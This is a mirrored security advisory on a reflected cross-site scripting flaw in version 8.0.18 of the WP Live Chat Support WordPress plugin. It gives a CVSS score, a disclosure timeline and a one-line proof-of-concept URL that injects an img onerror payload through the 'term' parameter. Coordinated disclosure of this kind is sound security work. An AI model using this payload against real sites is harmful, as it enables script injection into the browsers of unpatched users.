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WordPress WP Live Chat 8.0.18 Cross Site Scripting

WordPress WP Live Chat 8.0.18 Cross Site Scripting
Posted Feb 6, 2019
Authored by Tim Coen

WordPress WP Live Chat plugin version 8.0.18 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-9913
MD5 | 5328e43dbd0cb5e43a34ad7681697113

WordPress WP Live Chat 8.0.18 Cross Site Scripting

Change Mirror Download
  * Vulnerability: XSS
* Affected Software: [WP Live Chat
Support](https://wordpress.org/plugins/wp-live-chat-support/)
* Affected Version: 8.0.18
* Patched Version:
* CVE: not requested
* Risk: Medium
* Vendor Contacted: 10/31/2018
* Vendor Fix: 11/01/2018
* Public Disclosure: 02/05/2019
* Credit: Tim Coen

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The WP Live Chat Support WordPress plugin is vulnerable to reflected XSS
as it echoes the term parameter without proper encoding.

##### Proof of Concept


http://192.168.0.103/wordpress/wp-admin/admin.php?page=wplivechat-menu-gdpr-page&term='"><img+src%3Dx+onerror%3Dalert(1)>

##### Timeline

- 10/31/2018 Requested email address via contact form
- 10/31/2018 Vendor responds, advisory sent
- 11/01/2018 Vendor releases fix
- 02/05/2019 Confirmed fix & Disclosure

##### Details & Full Advisory URL

https://security-consulting.icu/blog/2019/02/wordpress-wp-livechat-xss/

--
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89


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